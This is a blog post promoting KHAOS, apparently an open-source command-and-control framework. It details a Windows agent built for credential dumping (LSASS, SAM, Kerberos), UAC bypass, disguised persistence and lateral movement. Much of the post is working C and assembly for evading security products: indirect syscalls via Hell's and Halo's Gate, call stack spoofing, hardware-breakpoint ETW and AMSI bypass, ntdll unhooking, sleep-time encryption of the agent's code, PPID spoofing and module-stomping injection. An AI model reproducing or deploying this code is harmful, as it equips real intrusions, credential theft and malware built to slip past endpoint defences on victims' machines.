Every red team engagement starts the same way. You set up your infrastructure, stage your payload, and within minutes Defender flags it. You swap to Havoc. Same result. You try Sliver, tweak the profile, recompile. Flagged again. The problem is not the framework. The problem is that the moment a tool gets popular, it becomes a signature. Security vendors monitor open-source repositories, pull every release, feed binaries into their detection pipelines, and ship updates. By the time you are using a public C2, it is already a known quantity. Cobalt Strike costs $3,000 a year and its indicators are in every public YARA ruleset. Havoc and Sliver are flagged out of the box. The problem is not the features. It is the fingerprint.
The answer is not finding a better public framework. It is building your own.
KHAOS is a full-stack C2 framework built from scratch. No borrowed loader, no reused beacon, no dependency on a runtime that carries a recognizable fingerprint. Every component is custom: a Windows agent written in pure C, a dedicated crypter for delivery, a stager that handles in-memory decryption and injection, a separate UAC elevator called the lifter, a Python server, and a web interface built in React. Each component was designed and implemented independently. Each one can be understood, modified, and replaced without touching anything else.
The stack
Press enter or click to view image in full size
The operator interface is a web application built in React. It connects to the Python server over WebSocket, displays active agents, manages tasks, and surfaces collected data: screenshots, harvested credentials, file transfers, session logs. Access it from any browser pointed at the server. The UI is purely operational: it reflects what the server knows about active agents and gives the operator a way to interact with them without touching a terminal. A Tauri wrapper is also available for operators who prefer a standalone desktop application over a browser tab.
The server is a Python application built on FastAPI. It handles agent authentication, beacon parsing, task queuing, and data storage. It also exposes a build endpoint that compiles agent payloads on demand with freshly generated cryptographic parameters, so each payload delivered to a target is unique at the byte level. The server can run on a VPS, behind a redirector, or on the operator’s own machine during a local engagement.
The agent is the core of everything. It is written in pure C with no external library dependencies beyond the Windows API. It has no C++ runtime, no Rust standard library, no framework code that would leave a recognizable pattern in the binary. The import table is deliberately sparse: sensitive API calls are resolved at runtime through the PEB rather than declared as imports. The agent handles communication, command execution, and all post-exploitation logic within a single binary that is designed from the ground up to leave as small a footprint as possible.
The crypter and stager handle delivery. The crypter encodes the compiled agent and wraps it in a loader that performs environment checks before doing anything else. The stager decrypts the payload in memory and injects it into a target process via process hollowing. The lifter is a standalone binary responsible for UAC bypass and privilege elevation. It exists separately from the agent on purpose: it does one thing, exits, and can be replaced independently if a bypass technique gets patched.
What the agent does
Press enter or click to view image in full size
This is not a minimal beacon with a shell command attached. The agent covers the full post-exploitation surface that an engagement actually requires, and it does so without relying on external tooling dropped to disk.
On the post-exploitation side, operators get interactive shell execution, process enumeration, screenshot capture, file system management including upload and download, registry read and write, and WMI query execution. These are the basics, but they are implemented cleanly without the overhead of a .NET runtime or a Python interpreter running inside the target process.
Credential access goes deeper. The agent can dump LSASS memory, extract SAM hashes, harvest Kerberos tickets, and enumerate stored credentials through the Windows Credential Manager API. Each of these runs in-memory through dynamically resolved APIs with no auxiliary tool dropped to disk.
Lateral movement support includes an integrated port scanner, a SOCKS5 proxy, reverse port forwarding, and SMB relay. The SOCKS5 proxy lets operators route arbitrary tooling through a compromised host without staging anything additional on the target. The SMB relay runs directly from the agent process.
Persistence is handled with intent. The scheduled task is registered under the name MicrosoftEdgeUpdateTaskMachineCore with the author field set to Microsoft Corporation. In a real task scheduler list it blends with the dozen or so legitimate Microsoft update tasks that are already there. If the registration fails due to insufficient permissions, the agent falls back automatically to a registry Run key entry.
Privilege escalation runs through five integrated UAC bypass techniques (fodhelper, wsreset, sdclt, eventvwr, diskcleanup) with automatic fallback, plus the lifter binary which handles elevation via token impersonation as a last resort. Extensibility comes through BOF execution and Reflective DLL injection, both fully in-memory. The BOF interface is compatible with the Cobalt Strike ecosystem, which means any publicly available BOF works without modification.
What makes it different
KHAOS is open source and free. Cobalt Strike costs $3,000 per year for a license, locks features behind a commercial agreement, and still gets detected. KHAOS has no license fee, no feature gate, and no vendor relationship that could be terminated. The full source is available, auditable, and modifiable by anyone. For a red team that wants a professional-grade C2 without the price tag or the detection profile of a known commercial tool, that is a meaningful difference.
To give a concrete example: public frameworks ship with identifiable binary characteristics — fixed PE section layouts, recognizable import tables, known byte patterns in their beacon code. Running them against a modern EDR with memory scanning enabled triggers a detection before the first command executes. KHAOS ships with none of those characteristics by design.
Beyond cost, KHAOS was built with a specific design constraint: every layer of the stack has to actively defeat detection, both at the network level and at the endpoint level. Network-facing evasion and EDR evasion are not afterthoughts patched in with an external loader. They are part of the agent’s core architecture. The result is a tool that is complete in the sense that matters operationally: it does not require a separate packer, a third-party loader, or a custom profile library to become usable in a real engagement. It works out of the box against modern defenses.
Channels that adapt to the target network
Most C2 frameworks treat the communication channel as a fixed property of the deployment. You pick HTTP or HTTPS, configure a listener, and that is what you have for the engagement. KHAOS treats the channel as a variable. The agent supports HTTP and HTTPS, DNS-over-HTTPS, GitHub Issues as a covert channel, Microsoft Teams webhooks, and SMB named pipes for internal lateral movement. Which channel is active is a configuration choice made at build time, not an architectural constraint.
This matters because the target network dictates what traffic can leave it. On a heavily monitored corporate perimeter with egress filtering and TLS inspection, standard HTTP to a VPS gets blocked or flagged almost immediately. DNS-over-HTTPS traffic is nearly impossible to distinguish from legitimate DNS resolution without deep protocol inspection, and most organizations do not have that capability enabled. Teams webhook traffic blends into the background of legitimate Microsoft 365 activity in any organization that actually uses Teams. The agent adapts to the environment rather than forcing the operator to adapt their engagement to the agent’s limitations.
Network traffic that does not stand out
The shape of beacon traffic is as important as its content. A fixed User-Agent string, predictable request timing, and a rigid body format are signatures that network detection rules catch without ever inspecting the payload. KHAOS supports malleable HTTP profiles: operators configure the User-Agent, add arbitrary headers, control body structure, and apply timing jitter to beacon intervals. A properly configured profile makes the beacon traffic indistinguishable from a known application making routine requests.
TLS connections use SHA-256 certificate pinning. The agent verifies the fingerprint of the C2 server certificate before sending any data. This closes off the class of EDR that performs TLS inspection by inserting itself as a man-in-the-middle. If the certificate fingerprint does not match the pinned value, the connection is dropped before any beacon data is transmitted.
Evasion: a layered approach
Detection is not a single problem. Static scanners look at the binary. Memory scanners look at what is in RAM at runtime. Behavioral monitors watch API call patterns, memory allocations, and process relationships. ETW feeds kernel telemetry to the EDR. AMSI scans content before execution. Network sensors inspect traffic. Each of these is a separate detection vector and each one requires a separate answer. KHAOS addresses all of them, in layers, from delivery to runtime.
Press enter or click to view image in full size
Nothing visible in the binary
The most basic detection method is static analysis. Scan the file, look for strings or byte patterns that match known malicious indicators. API names like EtwEventWrite, AmsiScanBuffer, VirtualAllocEx. Registry paths. Process names used for UAC bypass. All of them appear as plaintext in a naive implementation, and all of them are YARA-able immediately.
KHAOS solves this with a compile-time XOR encoding system called EVS. A Python generator takes every sensitive string in the codebase and produces a C header containing XOR-encoded byte arrays. The key is randomly generated per build. At runtime, a single noinline decode function reconstructs the string:
__attribute__((noinline))
void _evs_dec(char *out, const unsigned char *enc, size_t n)
{
unsigned char k = EVS_KEY;
for (size_t i = 0; i < n; i++)
out[i] = (char)(enc[i] ^ k);
out[n] = '\0';
}Every usage follows the same pattern: decode into a stack buffer, use it, call SecureZeroMemory immediately.
char _da[13];
EVS_D(_da, EVS_dll_advapi32);
HMODULE had = _peb_module(_da);
SecureZeroMemory(_da, sizeof(_da));The string exists in cleartext for the minimum possible time window and nowhere in the binary at rest. Because the key is random, no two compiled agents share the same encoded byte sequences. Static YARA rules built on string content match nothing. Byte pattern rules would need to be rebuilt for every build, which is not a practical detection strategy.
On top of this, the PE header at the agent’s image base is zeroed during initialization. Any in-memory scanner that looks for the MZ signature to identify PE images finds an empty page instead.
Resolving APIs without an import table
The Windows import table is a roadmap for static analyzers. A binary that imports VirtualAllocEx, WriteProcessMemory, or NtCreateThreadEx is immediately flagged as suspicious regardless of context.
KHAOS resolves modules by walking the PEB directly, without any GetModuleHandleA call. The implementation reads the PEB address from GS register offset 0x60, walks InMemoryOrderModuleList, and matches by DLL base name:
static inline HMODULE _peb_module(const char *name_lower)
{
BYTE *peb = (BYTE *)__readgsqword(0x60);
BYTE *ldr = *(BYTE **)(peb + 0x18);
LIST_ENTRY *head = (LIST_ENTRY *)(ldr + 0x20);
for (LIST_ENTRY *e = head->Flink; e != head; e = e->Flink) {
_ldr_e *en = (_ldr_e *)((BYTE *)e - 0x10);
/* tmp[] built inline: BaseDllName.Buffer (wide) converted to lowercase narrow */
char tmp[64]; int n = en->BaseLen / 2;
for (int i = 0; i < n; i++) {
WCHAR c = en->BaseBuf[i];
tmp[i] = (char)((c >= L'A' && c <= L'Z') ? c + 32 : c);
}
tmp[n] = '\0';
if (strcmp(tmp, name_lower) == 0) return (HMODULE)en->DllBase;
}
return NULL;
}No GetModuleHandleA in the IAT. No LoadLibraryA. The import table stays clean.
Indirect syscalls with Hell’s Gate and Halo’s Gate
EDRs hook sensitive functions by patching the first bytes of ntdll stubs. When code calls NtAllocateVirtualMemory, it goes through the hook, the EDR inspects the call, and only then does the real syscall execute. Indirect syscalls bypass this entirely by executing the syscall instruction from within ntdll rather than from the agent's own code.
KHAOS reads the syscall number (SSN) directly from the ntdll function stub. An unhooked stub starts with a recognizable pattern (0x4C 0x8B 0xD1 0xB8) followed by the SSN as a WORD. If the stub is hooked and this pattern is gone, Halo's Gate kicks in: the code walks the ntdll export table, finds neighboring unhooked stubs, and derives the correct SSN by offset:
static WORD _ssn(const char *name)
{
/* ntdll handle obtained via PEB walk, not GetModuleHandleA */
BYTE *fn = (BYTE *)GetProcAddress(ntdll, name); // unhooked: read SSN directly
if (fn[0] == 0x4C && fn[1] == 0x8B && fn[2] == 0xD1 && fn[3] == 0xB8)
return *(WORD *)(fn + 4);
// hooked: find unhooked neighbor in EAT, adjust by delta
for (int d = 1; d <= 32; d++) {
for (int s = -1; s <= 1; s += 2) {
BYTE *nb = (BYTE *)ntdll + funcs[ords[idx + s*d]];
if (nb[0] == 0x4C && nb[1] == 0x8B && nb[2] == 0xD1 && nb[3] == 0xB8)
return (WORD)(*(WORD *)(nb + 4) - (WORD)(s * d));
}
}
return 0xFFFF;
}
The actual syscall instruction is never executed from the agent's own code. It is executed from a syscall;ret gadget located inside ntdll's .text section. The agent scans ntdll for the opcode sequence 0x0F 0x05 0xC3 and jumps to it. From the kernel's perspective, the syscall originated inside ntdll, exactly as it would in a legitimate call.
Press enter or click to view image in full size
Call stack spoofing
Executing a syscall from within ntdll is not enough on its own. ETW-TI performs stack walks during sensitive operations and will flag a call chain that does not look legitimate. If the return address after the syscall points back into the agent’s own code, that is a red flag.
KHAOS uses a hand-written assembly stub that constructs a fake return chain before dispatching the syscall. Two ret gadgets are located in KernelBase and ntdll respectively and placed on the stack as fake frames:
inj_sc:
movq 0x30(%rsp), %r10
movq 0x38(%rsp), %r11
subq $0x10, %rsp
movq inj_frame2(%rip), %rax ; ntdll ret gadget
movq %rax, 0x08(%rsp)
movq inj_frame1(%rip), %rax ; kernelbase ret gadget
movq %rax, 0x00(%rsp)
; ... argument shuffling for syscall ABI
movzwl %cx, %eax
jmpq *inj_sc_gadget(%rip) ; jump to syscall;ret in ntdllWhen the kernel performs a stack walk during the syscall transition, it sees frames in KernelBase and ntdll. The agent is not visible in the call stack at all.
ETW and AMSI via hardware breakpoints
ETW (Event Tracing for Windows) is how EDRs receive behavioral telemetry. AMSI is how they scan in-memory content before execution. Both need to be neutralized. The obvious approach is byte patching: write a ret at the start of EtwEventWrite or AmsiScanBuffer. The problem is that integrity monitors periodically scan ntdll and flag modified bytes.
KHAOS uses hardware breakpoints instead. A vectored exception handler is registered first in the chain, then the x64 debug registers are set: Dr0 points to EtwEventWrite, Dr1 to AmsiScanBuffer, Dr2 to AmsiScanString. When any of these functions is entered, the processor raises a single-step debug exception before the first instruction executes. The VEH fires:
static LONG WINAPI _hwbp_veh(EXCEPTION_POINTERS *ep)
{
if (ep->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
return EXCEPTION_CONTINUE_SEARCH; CONTEXT *ctx = ep->ContextRecord;
if (g_etw_fn && (LPVOID)(uintptr_t)ctx->Rip == g_etw_fn) {
ctx->Rax = 0; // STATUS_SUCCESS
ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
ctx->Rsp += 8;
ctx->Dr6 &= ~(DWORD64)0x1;
return EXCEPTION_CONTINUE_EXECUTION;
}
if (g_amsi_fn && (LPVOID)(uintptr_t)ctx->Rip == g_amsi_fn) {
ctx->Rax = 0x80070057; // E_INVALIDARG = clean result
ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
ctx->Rsp += 8;
ctx->Dr6 &= ~(DWORD64)0x2;
return EXCEPTION_CONTINUE_EXECUTION;
}
// ... AmsiScanString same pattern on Dr2
}
The bytes in ntdll and amsi.dll are untouched. No integrity check will find a patch. The ETW-TI callbacks (EtwTiLogOpenProcess, EtwTiLogReadWriteVm, EtwTiLogDuplicateHandle) are handled separately with a ret byte written via NtProtectVirtualMemory directly, avoiding the monitored VirtualProtect Win32 API.
ntdll unhooking from disk
Even with hardware breakpoints handling ETW and AMSI, the hooks an EDR injects into ntdll stubs remain. KHAOS removes them by loading a clean copy of ntdll from disk. The key is using SEC_IMAGE when mapping the file, which bypasses any file-level hooks the EDR may have installed:
HANDLE hMap = CreateFileMappingW(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID disk = _mvf(hMap, FILE_MAP_READ, 0, 0, 0); /* _mvf: MapViewOfFile resolved via PEB, not IAT */Once the clean copy is mapped, the code walks the PE headers to find the .text section, makes the live ntdll .text region writable via NtProtectVirtualMemory, and copies the clean bytes over the hooked version. All EDR hooks in ntdll stubs are removed in a single operation before the agent begins operating.
Sleep obfuscation: invisible between beacons
A beacon that sits idle between check-ins is the ideal target for memory scanning. The agent code is mapped at a fixed address, its sections have recognizable characteristics, and a periodic memory scanner will find it.
During sleep intervals, KHAOS encrypts its own .text section. The key is generated per sleep using BCryptGenRandom. After XOR-encrypting the region, it is marked PAGE_NOACCESS. The agent then captures its current execution context via RtlCaptureContext and transfers execution to a fake context pointing at NtWaitForSingleObject, using a freshly allocated fake stack with rewritten TEB StackBase and StackLimit fields. A timer thread, isolated in a separate PE section that remains intact during the sleep, wakes the agent after the interval, at which point .text is decrypted and the original context restored.
The XOR loop and context switch happen in a dedicated .run section that is never encrypted:
/* encrypt .text before sleep */
for (SIZE_T i = 0; i < n; i++) p[i] ^= ctx->key[i & 31];
ctx->fn_vprot(p, n, PAGE_NOACCESS, &old);/* switch to fake context: RIP = NtWaitForSingleObject, RSP = fake stack */
fake_ctx.Rsp = (DWORD64)(uintptr_t)fake_top;
fake_ctx.Rip = (DWORD64)(uintptr_t)fn_wait;
fake_ctx.Rcx = (DWORD64)ctx->done; /* handle to wait on */
fake_ctx.R8 = (DWORD64)&ctx->timeout; /* relative timeout */
ctx->ntcontinue(&fake_ctx, FALSE); /* never returns */
On wakeup, a trampoline in .run decrypts .text, restores TEB stack bounds, and resumes via NtContinue on the saved context. All API calls within the sleep and wake path use direct virtual addresses resolved before the section is encrypted, not IAT thunks which live inside the now-inaccessible .text.
PPID spoofing and module stomping
Process creation is one of the most monitored behaviors on a Windows endpoint. A process spawned directly by the agent creates an obvious parent-child relationship in the event log. KHAOS reparents spawned processes under explorer.exe by locating its PID via a process snapshot and passing it as a parent process attribute:
static DWORD _find_explorer(void)
{
char _en[13];
DWORD pid = 0;
EVS_D(_en, EVS_str_explorer_exe); // "explorer.exe" XOR-decoded at runtime
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
// walk snapshot, _stricmp(pe.szExeFile, _en), store matching PID
CloseHandle(snap);
SecureZeroMemory(_en, sizeof(_en));
return pid;
}The spawned process appears in the event log as a child of explorer.exe. The agent is not visible in the process tree.
For shellcode injection, KHAOS avoids RWX memory allocations. Allocating a region with execute permissions is one of the clearest behavioral signals an EDR can observe. Module stomping sidesteps this by mapping a legitimate signed DLL into the target process as a section view, then overwriting part of its .text region with shellcode. The memory backing the shellcode belongs to a signed image and inherits its permission profile:
// Create SEC_IMAGE section from a signed DLL on disk
inj_sc(s_ssn[SSN_CRTSEC], &hSection, 0xF001F, 0, 0, 0x02, 0x1000000, hFile, ...);// Map view into target process
inj_sc(s_ssn[SSN_MAPSEC], hSection, hproc, &base, 0, 0, 0, &view_sz, 2, 0, 0x20, 0);
// Briefly flip RW, write shellcode, restore RX
inj_sc(s_ssn[SSN_PROT], hproc, &base, &sc_len, PAGE_READWRITE, &old, ...);
inj_sc(s_ssn[SSN_WRITE], hproc, base, sc, sc_len, &nw, ...);
inj_sc(s_ssn[SSN_PROT], hproc, &base, &sc_len, PAGE_EXECUTE_READ, &old, ...);
All syscalls go through the spoofed indirect dispatcher. No VirtualAllocEx in the IAT, no RWX allocation in the event log, no unsigned code region visible in the target process.
Press enter or click to view image in full size
How it was built
The choice to write the agent in C was not a reflex. Rust would have been faster to write safely. C++ would have made some abstractions cleaner. But C gives something neither of those does: complete control over what ends up in the binary. There is no runtime, no standard library overhead, no exception handling metadata, no RTTI. The import table contains exactly what we put there. The section layout is exactly what we designed. When every byte of the output matters for detection, that level of control is worth the cost.
The first version of the agent was simpler than what exists today. It had a single HTTP channel, basic post-exploitation commands, and minimal evasion. The evasion layer grew incrementally as we ran the agent against real defenses and observed what triggered detections. That process shaped the architecture more than any upfront design decision did. Features were not added speculatively. Each one exists because something broke and needed a fix.
The EVS string system is a good example of this. It was not in the original design. The decision to add it came after running our own early builds through a YARA scanner and finding strings like fodhelper.exe, DelegateExecute, EtwEventWrite, and AmsiScanBuffer sitting in cleartext in the binary. Some of them were written as char-array initializers in the source, under the assumption that this was better than a string literal. It is not. The compiler writes the same contiguous bytes to .data regardless of how the source is written. There is no such thing as a "hidden" string in a C source file unless you encode it before compilation. EVS was built to fix that specific problem, and once the pattern was established, extending it to every sensitive string in the codebase was a matter of discipline and tooling.
The lifter started as code inside the main agent. UAC bypass logic lived in the same process as the beacon, which created a coupling problem. Elevation interacts with process integrity levels and token state in ways that produce edge cases when the agent is already running with an active C2 connection. The fix was to isolate it: a standalone binary that receives a path as an argument, elevates, and exits. The agent drops the lifter, waits for it to finish, and continues. If Microsoft patches a bypass technique, updating the lifter is a localized change with no impact on the agent build. That separation turned out to matter more than expected during actual testing against different Windows versions.
The sleep obfuscation implementation was the most technically involved part of the project. Getting .text encryption right requires careful handling of which code paths execute before and after the section becomes inaccessible, where the API function pointers live relative to the encrypted region, and how to restore the execution context reliably across the context switch. The TEB StackBase and StackLimit fields need to be updated to match the fake stack or the kernel will reject the context. IAT thunks inside .text cannot be used after encryption, so every API called during or after the sleep must be resolved to a direct virtual address before the section goes dark. Getting this wrong causes silent crashes with no useful diagnostic output. It took multiple iterations to stabilize.
Building from scratch forces a kind of understanding that using an existing framework never requires. When you configure a Cobalt Strike profile, you are adjusting parameters someone else designed for constraints they understood. When you build the system, you understand exactly why each constraint exists, what detection it addresses, and what happens when it is wrong. That understanding is what makes the tool actually maintainable over time as the threat landscape evolves.
What is coming next
A kernel component is the next major addition. The userland evasion stack is at its ceiling against fully deployed EDRs with kernel drivers. Moving to ring 0 opens capabilities that are not possible from userland and removes the remaining detection vectors the current implementation cannot address.
A Linux agent is in early development. The server and UI are already platform-agnostic. On the operator side, planned improvements include a network map view, integrated loot management, and multi-operator support.
Source
KHAOS C2 is open source and free to use.
- Repository: github.com/28Zaaky/khaos-c2
- Documentation: khaos.khaotic.fr
- Author: github.com/28Zaaky